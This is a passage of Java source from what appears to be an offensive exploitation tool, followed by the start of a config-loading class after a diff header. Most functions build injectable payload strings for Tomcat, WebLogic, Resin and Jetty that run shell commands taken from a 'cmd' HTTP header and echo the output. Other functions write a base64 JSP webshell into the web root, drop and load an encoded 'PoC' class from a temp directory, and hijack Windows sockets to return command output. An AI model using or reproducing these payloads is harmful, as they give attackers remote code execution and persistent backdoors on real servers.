" java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField(\"group\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"threads\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" Thread[] threads = (Thread[])obj;\n" +
" label:for(Thread thread : threads){\n" +
" try{\n" +
" if(thread.getName().contains(\"http-nio\") && thread.getName().contains(\"ClientPoller\")) {\n" +
" field = thread.getClass().getDeclaredField(\"target\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(thread);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"this$0\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"global\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"processors\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
"\n" +
" java.util.List processors = (java.util.List) obj;\n" +
" for (Object o : processors) {\n" +
" field = o.getClass().getDeclaredField(\"req\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(o);\n" +
" org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" +
"\n" +
" String cmd = req.getHeader(\"cmd\");\n" +
" if (cmd != null) {\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
" java.nio.ByteBuffer buffer = java.nio.ByteBuffer.wrap(res.getBytes());\n" +
" req.getResponse().doWrite(buffer);\n" +
" break label;\n" +
" }\n" +
" }\n" +
" }\n" +
" }catch(Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
" }";
return code;
}
public static String tomcatEcho(){
String code = " boolean flag = false;\n" +
" ThreadGroup group = Thread.currentThread().getThreadGroup();\n" +
" java.lang.reflect.Field f = group.getClass().getDeclaredField(\"threads\");\n" +
" f.setAccessible(true);\n" +
" Thread[] threads = (Thread[]) f.get(group);\n" +
"\n" +
" for(int i = 0; i < threads.length; i++) {\n" +
" try{\n" +
" Thread t = threads[i];\n" +
" if (t == null) continue;\n" +
"\n" +
" String str = t.getName();\n" +
" if (str.contains(\"exec\") || !str.contains(\"http\")) continue;\n" +
"\n" +
"\n" +
" f = t.getClass().getDeclaredField(\"target\");\n" +
" f.setAccessible(true);\n" +
" Object obj = f.get(t);\n" +
"\n" +
" if (!(obj instanceof Runnable)) continue;\n" +
"\n" +
" f = obj.getClass().getDeclaredField(\"this$0\");\n" +
" f.setAccessible(true);\n" +
" obj = f.get(obj);\n" +
"\n" +
" try{\n" +
" f = obj.getClass().getDeclaredField(\"handler\");\n" +
" }catch (NoSuchFieldException e){\n" +
" f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" +
" }\n" +
" f.setAccessible(true);\n" +
" obj = f.get(obj);\n" +
"\n" +
" try{\n" +
" f = obj.getClass().getSuperclass().getDeclaredField(\"global\");\n" +
" }catch(NoSuchFieldException e){\n" +
" f = obj.getClass().getDeclaredField(\"global\");\n" +
" }\n" +
" f.setAccessible(true);\n" +
" obj = f.get(obj);\n" +
"\n" +
" f = obj.getClass().getDeclaredField(\"processors\");\n" +
" f.setAccessible(true);\n" +
" java.util.List processors = (java.util.List)(f.get(obj));\n" +
"\n" +
" for(int j = 0; j < processors.size(); ++j) {\n" +
" Object processor = processors.get(j);\n" +
" f = processor.getClass().getDeclaredField(\"req\");\n" +
" f.setAccessible(true);\n" +
" Object req = f.get(processor);\n" +
" Object resp = req.getClass().getMethod(\"getResponse\", new Class[0]).invoke(req, new Object[0]);\n" +
"\n" +
" str = (String)req.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(req, new Object[]{\"cmd\"});\n" +
"\n" +
" if (str != null && !str.isEmpty()) {\n" +
" resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
" String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", str} : new String[]{\"/bin/sh\", \"-c\", str};\n" +
" byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(), System.getProperty(\"sun.jnu.encoding\"))).useDelimiter(\"\\\\A\").next().getBytes();\n" +
"\n" +
" try {\n" +
" Class cls = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
" obj = cls.newInstance();\n" +
" cls.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" +
" } catch (NoSuchMethodException var5) {\n" +
" Class cls = Class.forName(\"java.nio.ByteBuffer\");\n" +
" obj = cls.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(cls, new Object[]{result});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" +
" }\n" +
"\n" +
" flag = true;\n" +
" }\n" +
"\n" +
" if (flag) break;\n" +
" }\n" +
"\n" +
" if (flag) break;\n" +
" }catch(Exception e){\n" +
" continue;\n" +
" }\n" +
" }";
return code;
}
public static String tomcatEcho2() {
String code = "boolean flag = false;\n" +
"\n" +
" javax.management.MBeanServer mbeanServer = org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();\n" +
" java.lang.reflect.Field field = Class.forName(\"com.sun.jmx.mbeanserver.JmxMBeanServer\").getDeclaredField(\"mbsInterceptor\");\n" +
" field.setAccessible(true);\n" +
" Object obj = field.get(mbeanServer);\n" +
"\n" +
" field = Class.forName(\"com.sun.jmx.interceptor.DefaultMBeanServerInterceptor\").getDeclaredField(\"repository\");\n" +
" field.setAccessible(true);\n" +
" com.sun.jmx.mbeanserver.Repository repository = (com.sun.jmx.mbeanserver.Repository) field.get(obj);\n" +
"\n" +
" java.util.Set<com.sun.jmx.mbeanserver.NamedObject> objectSet = repository.query(new javax.management.ObjectName(\"Catalina:type=GlobalRequestProcessor,*\"), null);\n" +
" for(com.sun.jmx.mbeanserver.NamedObject namedObject : objectSet){\n" +
" javax.management.DynamicMBean dynamicMBean = namedObject.getObject();\n" +
" field = Class.forName(\"org.apache.tomcat.util.modeler.BaseModelMBean\").getDeclaredField(\"resource\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(dynamicMBean);\n" +
"\n" +
" field = Class.forName(\"org.apache.coyote.RequestGroupInfo\").getDeclaredField(\"processors\");\n" +
" field.setAccessible(true);\n" +
" java.util.ArrayList procssors = (java.util.ArrayList) field.get(obj);\n" +
"\n" +
" field = Class.forName(\"org.apache.coyote.RequestInfo\").getDeclaredField(\"req\");\n" +
" field.setAccessible(true);\n" +
" for(int i = 0; i < procssors.size(); i++){\n" +
" org.apache.coyote.Request req = (org.apache.coyote.Request) field.get(procssors.get(i));\n" +
" String cmd = req.getHeader(\"cmd\");\n" +
" if(cmd != null && !cmd.isEmpty()){\n" +
" String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\n" +
" byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(), System.getProperty(\"sun.jnu.encoding\"))).useDelimiter(\"\\\\A\").next().getBytes();\n" +
"\n" +
" Object resp = req.getClass().getMethod(\"getResponse\", new Class[0]).invoke(req, new Object[0]);\n" +
" try {\n" +
" Class cls = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
" obj = cls.newInstance();\n" +
" cls.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" +
" } catch (NoSuchMethodException var5) {\n" +
" Class cls = Class.forName(\"java.nio.ByteBuffer\");\n" +
" obj = cls.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(cls, new Object[]{result});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{cls}).invoke(resp, new Object[]{obj});\n" +
" }\n" +
"\n" +
" flag = true;\n" +
" }\n" +
"\n" +
" if(flag) break;\n" +
" }\n" +
" }";
return code;
}
public static String weblogicEcho1(){
String code = " Object obj = Thread.currentThread().getClass().getMethod(\"getCurrentWork\", null).invoke(Thread.currentThread(), null);\n" +
" String cmd = (String) obj.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(obj, new Object[]{\"cmd\"});\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
" Object r = obj.getClass().getMethod(\"getResponse\", null).invoke(obj, null);\n" +
" Object os = r.getClass().getMethod(\"getServletOutputStream\", null).invoke(r, null);\n" +
" obj = Class.forName(\"weblogic.xml.util.StringInputStream\").getConstructor(new Class[]{String.class}).newInstance(new Object[]{res});\n" +
"\n" +
" os.getClass().getMethod(\"writeStream\", new Class[]{Class.forName(\"java.io.InputStream\")}).invoke(os, new Object[]{obj});\n" +
" os.getClass().getMethod(\"flush\", null).invoke(os, null);\n" +
" obj = r.getClass().getMethod(\"getWriter\", null).invoke(r, null);\n" +
" obj.getClass().getMethod(\"write\", new Class[]{String.class}).invoke(obj, new Object[]{\"\"});";
return code;
}
public static String weblogicEcho2(String command){
String cmd = command.split(":", 3)[2];
cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"");
String code = "Object obj = Thread.currentThread().getClass().getMethod(\"getCurrentWork\", null).invoke(Thread.currentThread(), null);\n" +
" java.lang.reflect.Field field = obj.getClass().getDeclaredField(\"connectionHandler\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
" String cmd = \"" + cmd + "\";\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
"\n" +
" Object r = obj.getClass().getMethod(\"getServletRequest\", null).invoke(obj, null);\n" +
" Object o = r.getClass().getMethod(\"getResponse\", null).invoke(r, null);\n" +
" Object s = o.getClass().getMethod(\"getServletOutputStream\", null).invoke(o, null);\n" +
"\n" +
" obj = Class.forName(\"weblogic.xml.util.StringInputStream\").getConstructor(new Class[]{String.class}).newInstance(new Object[]{res});\n" +
"\n" +
" s.getClass().getMethod(\"writeStream\", new Class[]{Class.forName(\"java.io.InputStream\")}).invoke(s, new Object[]{obj});\n" +
" s.getClass().getMethod(\"flush\", null).invoke(s, null);\n" +
" obj = o.getClass().getMethod(\"getWriter\", null).invoke(o, null);\n" +
" obj.getClass().getMethod(\"write\", new Class[]{String.class}).invoke(obj, new Object[]{\"\"});";
return code;
}
public static String resinEcho(){
String code = " Class clazz = Thread.currentThread().getClass();\n" +
" java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField(\"threadLocals\");\n" +
" field.setAccessible(true);\n" +
" Object obj = field.get(Thread.currentThread());\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"table\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" Object[] obj_arr = (Object[]) obj;\n" +
" for(int i = 0; i < obj_arr.length; i++) {\n" +
" Object o = obj_arr[i];\n" +
" if (o == null) continue;\n" +
"\n" +
" field = o.getClass().getDeclaredField(\"value\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(o);\n" +
"\n" +
" if(obj != null && obj.getClass().getName().equals(\"com.caucho.server.http.HttpRequest\")){\n" +
" com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;\n" +
" String cmd = httpRequest.getHeader(\"cmd\");\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
" com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();\n" +
" httpResponse.setHeader(\"Content-Length\", res.length() + \"\");\n" +
" java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod(\"createResponseStream\", null);\n" +
" method.setAccessible(true);\n" +
" com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);\n" +
" httpResponseStream.write(res.getBytes(), 0, res.length());\n" +
" httpResponseStream.close();\n" +
" }\n" +
" }";
return code;
}
public static String jettyEcho(){
String code = " Class clazz = Thread.currentThread().getClass();\n" +
" java.lang.reflect.Field field = clazz.getDeclaredField(\"threadLocals\");\n" +
" field.setAccessible(true);\n" +
" Object obj = field.get(Thread.currentThread());\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"table\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" Object[] obj_arr = (Object[]) obj;\n" +
" for(int i = 0; i < obj_arr.length; i++){\n" +
" Object o = obj_arr[i];\n" +
" if(o == null) continue;\n" +
"\n" +
" field = o.getClass().getDeclaredField(\"value\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(o);\n" +
"\n" +
" if(obj != null && obj.getClass().getName().endsWith(\"AsyncHttpConnection\")){\n" +
" Object connection = obj;\n" +
" java.lang.reflect.Method method = connection.getClass().getMethod(\"getRequest\", null);\n" +
" obj = method.invoke(connection, null);\n" +
"\n" +
" method = obj.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" +
" obj = method.invoke(obj, new Object[]{\"cmd\"});\n" +
"\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
"\n" +
" method = connection.getClass().getMethod(\"getPrintWriter\", new Class[]{String.class});\n" +
" java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{\"utf-8\"});\n" +
" printWriter.println(res);\n" +
"\n" +
" }else if(obj != null && obj.getClass().getName().endsWith(\"HttpConnection\")){\n" +
" java.lang.reflect.Method method = obj.getClass().getDeclaredMethod(\"getHttpChannel\", null);\n" +
" Object httpChannel = method.invoke(obj, null);\n" +
"\n" +
" method = httpChannel.getClass().getMethod(\"getRequest\", null);\n" +
" obj = method.invoke(httpChannel, null);\n" +
"\n" +
" method = obj.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" +
" obj = method.invoke(obj, new Object[]{\"cmd\"});\n" +
"\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
"\n" +
" method = httpChannel.getClass().getMethod(\"getResponse\", null);\n" +
" obj = method.invoke(httpChannel, null);\n" +
"\n" +
" method = obj.getClass().getMethod(\"getWriter\", null);\n" +
" java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);\n" +
" printWriter.println(res);\n" +
" }\n" +
" }";
return code;
}
public static String windowsEcho(String command){
String cmd = command.split(":", 3)[2];
cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"");
String code = " if(java.io.File.separator.equals(\"\\\\\")){\n" +
" java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField(\"fd\");\n" +
" field.setAccessible(true);\n" +
"\n" +
" Class clazz1 = Class.forName(\"sun.nio.ch.Net\");\n" +
" java.lang.reflect.Method method1 = clazz1.getDeclaredMethod(\"remoteAddress\",new Class[]{java.io.FileDescriptor.class});\n" +
" method1.setAccessible(true);\n" +
"\n" +
" Class clazz2 = Class.forName(\"java.net.SocketOutputStream\", false, null);\n" +
" java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];\n" +
" constructor2.setAccessible(true);\n" +
"\n" +
" Class clazz3 = Class.forName(\"java.net.PlainSocketImpl\");\n" +
" java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});\n" +
" constructor3.setAccessible(true);\n" +
"\n" +
" java.lang.reflect.Method write = clazz2.getDeclaredMethod(\"write\",new Class[]{byte[].class});\n" +
" write.setAccessible(true);\n" +
"\n" +
" java.net.InetSocketAddress remoteAddress = null;\n" +
" java.util.List list = new java.util.ArrayList();\n" +
" java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();\n" +
" for(int i = 0; i < 50000; i++){\n" +
" field.set((Object)fileDescriptor, (Object)(new Integer(i)));\n" +
" try{\n" +
" remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});\n" +
" if(remoteAddress.toString().startsWith(\"/127.0.0.1\")) continue;\n" +
" if(remoteAddress.toString().startsWith(\"/0:0:0:0:0:0:0:1\")) continue;\n" +
" list.add(new Integer(i));\n" +
"\n" +
" }catch(Exception e){}\n" +
" }\n" +
"\n" +
" for(int i = list.size() - 1; i >= 0; i--){\n" +
" try{\n" +
" field.set((Object)fileDescriptor, list.get(i));\n" +
" Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});\n" +
" String[] cmd = new String[]{\"cmd\",\"/C\", \"" + cmd + "\"};\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next().trim();\n" +
" String result = \"HTTP/1.1 200 OK\\nConnection: close\\nContent-Length: \" + (res.length()) + \"\\n\\n\" + res + \"\\n\\n\";\n" +
" write.invoke(socketOutputStream, new Object[]{result.getBytes()});\n" +
" break;\n" +
" }catch (Exception e){\n" +
" //pass\n" +
" }\n" +
" }\n" +
" }";
return code;
}
public static String shell(String command){
String content = "";
try{
String fileName = System.getProperty("user.dir") + File.separator + "config" + File.separator + "shell.jsp";
FileReader fileReader = new FileReader(fileName);
BufferedReader bufferedReader = new BufferedReader(fileReader);
String result = "";
String line = "";
while ( (line = bufferedReader.readLine()) != null){
result += line + "\n";
}
bufferedReader.close();
fileReader.close();
BASE64Encoder encoder = new BASE64Encoder();
content = encoder.encode(result.getBytes()).replaceAll("\r|\n|\r\n", "");
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
String path = command.split(":",3)[2];
String code = "String p = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n" +
" p = p.substring(0, p.indexOf(\"WEB-INF\"));\n" +
" p = java.net.URLDecoder.decode(p,\"utf-8\");\n" +
" java.io.PrintWriter w = new java.io.PrintWriter((p + \"" + path + "\"));\n" +
" sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();\n" +
" String s = new String(d.decodeBuffer(\"" + content + "\"));\n" +
" w.println(s);\n" +
" w.close();";
return code;
}
public static String autoFindRequestEcho(){
String code = " java.net.URL url;\n" +
" if (java.io.File.separator.equals(\"/\")) {\n" +
" url = new java.net.URL(\"file:///tmp/\");\n" +
" }else{\n" +
" url = new java.net.URL(\"file:///c:/windows/temp/\");\n" +
" }\n" +
" java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url}, Thread.currentThread().getContextClassLoader());\n" +
" urlClassLoader.loadClass(\"PoC\").newInstance();";
return code;
}
public static String writeClass(int i){
String content = "yv66vgAAADQAqgcAAgEAA1BvQwcABAEAEGphdmEvbGFuZy9PYmplY3QBAAFoAQATTGphdmEvdXRpbC9IYXNoU2V0OwEACVNpZ25hdHVyZQEAJ0xqYXZhL3V0aWwvSGFzaFNldDxMamF2YS9sYW5nL09iamVjdDs+OwEAAXIBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAFwAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEQwADQAOCQABABMMAAkACgkAAQAVDAALAAwHABcBABFqYXZhL3V0aWwvSGFzaFNldAoAFgARCQABABoMAAUABgoAHAAeBwAdAQAQamF2YS9sYW5nL1RocmVhZAwAHwAgAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgABACIMACMAJAEAAUYBABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABUxQb0M7AQABaQEAFShMamF2YS9sYW5nL09iamVjdDspWgoAFgAsDAAtACoBAAhjb250YWlucwoAFgAvDAAwACoBAANhZGQBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAA1TdGFja01hcFRhYmxlCgABADUMACkAKgcANwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QKAAMAOQwAOgA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7CgA9AD8HAD4BAA9qYXZhL2xhbmcvQ2xhc3MMAEAAQQEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWggAQwEAA2NtZAsANgBFDABGAEcBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgASQEAC2dldFJlc3BvbnNlCgA9AEsMAEwATQEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKAE8AUQcAUAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAwAUgBTAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBVAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2ULAFQAVwwAWABZAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsHAFsBABFqYXZhL3V0aWwvU2Nhbm5lcgoAXQBfBwBeAQARamF2YS9sYW5nL1J1bnRpbWUMAGAAYQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAF0AYwwAZABlAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAZwBpBwBoAQARamF2YS9sYW5nL1Byb2Nlc3MMAGoAawEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFoAbQwADQBuAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCABwAQACXEEKAFoAcgwAcwB0AQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7CgBaAHYMAHcAeAEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwoAegB8BwB7AQATamF2YS9pby9QcmludFdyaXRlcgwAfQB+AQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAegCADACBAA4BAAVmbHVzaAcAgwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAFvAQAFZGVwdGgBAAFJCgA9AIgMAIkAigEAEWdldERlY2xhcmVkRmllbGRzAQAcKClbTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAjACOBwCNAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQMAI8AkAEADXNldEFjY2Vzc2libGUBAAQoWilWCgCMAJIMAJMAlAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA9AJYMAJcAmAEAB2lzQXJyYXkBAAMoKVoKAAEAmgwACwAkBwCcAQATW0xqYXZhL2xhbmcvT2JqZWN0OwoAPQCeDACfADsBAA1nZXRTdXBlcmNsYXNzAQAFc3RhcnQBAAFuAQARTGphdmEvbGFuZy9DbGFzczsBAA1kZWNsYXJlZEZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAAXEHAKcBABpbTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAClNvdXJjZUZpbGUBAAhQb0MuamF2YQAhAAEAAwAAAAMACAAFAAYAAQAHAAAAAgAIAAgACQAKAAAACAALAAwAAAAEAAEADQAOAAEADwAAAFwAAgABAAAAHiq3ABABswASAbMAFLsAFlm3ABizABm4ABsDuAAhsQAAAAIAJQAAABoABgAAAAwABAANAAgADgAMAA8AFgAQAB0AEQAmAAAADAABAAAAHgAnACgAAAAKACkAKgABAA8AAABWAAIAAQAAABoqxgANsgAZKrYAK5kABQSssgAZKrYALlcDrAAAAAMAJQAAAA4AAwAAABQAEAAWABgAFwAmAAAADAABAAAAGgAxADIAAAAzAAAABAACDgEACgALACQAAQAPAAABYAAGAAIAAAC/GxA0owAPsgASxgAKsgAUxgAEsSq4ADSaAKeyABLHAFESNiq2ADi2ADyZAEUqwAA2swASsgASEkK5AEQCAMcACgGzABKnACqyABK2ADgSSAO9AD22AEqyABIDvQADtgBOwABUswAUpwAIVwGzABKyABLGAEayABTGAECyABS5AFYBALsAWlm4AFyyABISQrkARAIAtgBitgBmtwBsEm+2AHG2AHW2AHmyABS5AFYBALYAf6cABFexKhsEYLgAIbEAAgBHAGYAaQCCAHoAsgC1AIIAAwAlAAAASgASAAAAGwASABwAEwAeABoAHwAsACAAMwAhAEAAIgBEACMARwAlAGYAJgBqACcAbgAsAHoALgCnAC8AsgAwALYAMgC3ADUAvgA3ACYAAAAWAAIAAAC/AIQAMgAAAAAAvwCFAIYAAQAzAAAAEwAJEgAzYQcAggT3AEYHAIIAAAYACgAjACQAAQAPAAABpgACAAwAAAB+KrYAOE0stgCHWToGvjYFAzYEpwBbGQYVBDJOLQS2AIsBOgctKrYAkToHGQe2ADi2AJWaAAwZBxu4AJmnAC8ZB8AAm1k6C742CgM2CacAExkLFQkyOggZCBu4AJmECQEVCRUKof/spwAEV4QEARUEFQWh/6QstgCdWU3H/4uxAAEAIwBmAGkAggADACUAAAA+AA8AAAA5AAUAOwAbADwAIAA9ACMAPwAqAEEANQBCADsAQwA+AEQAVgBFAFwARABmAEkAagA7AHQATAB9AE0AJgAAAD4ABgAAAH4AoAAyAAAAAAB+AIUAhgABAAUAeQChAKIAAgAbAE8AowCkAAMAIwBHAIQAMgAHAFYABgClADIACAAzAAAAhgAI/AAFBwA9/wAPAAcHAAMBBwA9AAEBBwCmAAD/ACgACAcAAwEHAD0HAIwBAQcApgcAAwAA/wAQAAwHAAMBBwA9BwCMAQEHAKYHAAMAAQEHAJsAAA//AAkACAcAAwEHAD0HAIwBAQcApgcAAwABBwCC/wAAAAcHAAMBBwA9AAEBBwCmAAACAAEAqAAAAAIAqQ==";
byte[] bytes = null;
BASE64Decoder decoder = new BASE64Decoder();
try {
bytes = decoder.decodeBuffer(content);
} catch (IOException e) {
//pass
}
int start = i * 1600;
int end = ((start + 1600) < bytes.length) ? (start + 1600) : bytes.length;
byte[] temp = Arrays.copyOfRange(bytes, start, end);
BASE64Encoder encoder = new BASE64Encoder();
String part = encoder.encode(temp).replaceAll("\r|\n|\r\n", "");
String code = "String path;\n" +
" if (java.io.File.separator.equals(\"/\")) {\n" +
" path = \"/tmp/PoC.class\";\n" +
" }else{\n" +
" path = \"c:/windows/temp/PoC.class\";\n" +
" }\n" +
" java.io.OutputStream os = new java.io.FileOutputStream(path," + (i != 0) + ");\n" +
" sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();\n" +
" java.io.InputStream in = new java.io.ByteArrayInputStream(d.decodeBuffer(\"" + part + "\"));\n" +
" byte[] f = new byte[1024];\n" +
" int l = 0;\n" +
" while((l=in.read(f))!=-1){\n" +
" os.write(f, 0, l);\n" +
" }\n" +
" in.close();\n" +
" os.close();";
return code;
}
public static String wirteFileEcho(String command){
String path = command.split(":",4)[2];
String cmd = command.split(":",4)[3];
cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"");
String code = "String[] c = new String[3];\n" +
" String p = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n" +
" p = p.substring(0, p.indexOf(\"WEB-INF\"));\n" +
" p = java.net.URLDecoder.decode(p,\"utf-8\");\n" +
" if(java.io.File.separator.equals(\"/\")){\n" +
" c[0] = \"/bin/bash\";\n" +
" c[1] = \"-c\";\n" +
" }else{\n" +
" c[0] = \"cmd\";\n" +
" c[1] = \"/C\";\n" +
" }\n" +
" c[2] = \"" + cmd + "\";\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(c).getInputStream();\n" +
" String x = p + \"" + path + "\";\n" +
" java.io.FileOutputStream os = new java.io.FileOutputStream(x);\n" +
" byte[] buffer = new byte[1024];\n" +
" int len = 0;\n" +
" while((len = in.read(buffer)) != -1) {\n" +
" os.write(buffer, 0, len);\n" +
" }\n" +
" in.close();\n" +
" os.close();";
return code;
}
}

View File

@@ -0,0 +1,42 @@
package io.github.exp1orer.util;
import io.github.exp1orer.server.LDAPServer;
import java.io.*;
import java.util.Properties;
public class Config {
private Config() {}
static {
// 必须配置项
String[] keys = new String[]{ "Api", "Token", "Domain", "EnableLDAPLog", "EnableHttpLog"};
String pwd = System.getProperty("user.dir");
Properties properties = new Properties();
try {
BufferedReader br = new BufferedReader(new FileReader(pwd + File.separator + "config.properties"));
properties.load(br);
for (String key : keys) {
if (properties.getProperty(key) == null) {
System.out.println(String.format("%s不能为空请检查配置文件."));
System.exit(1);
}
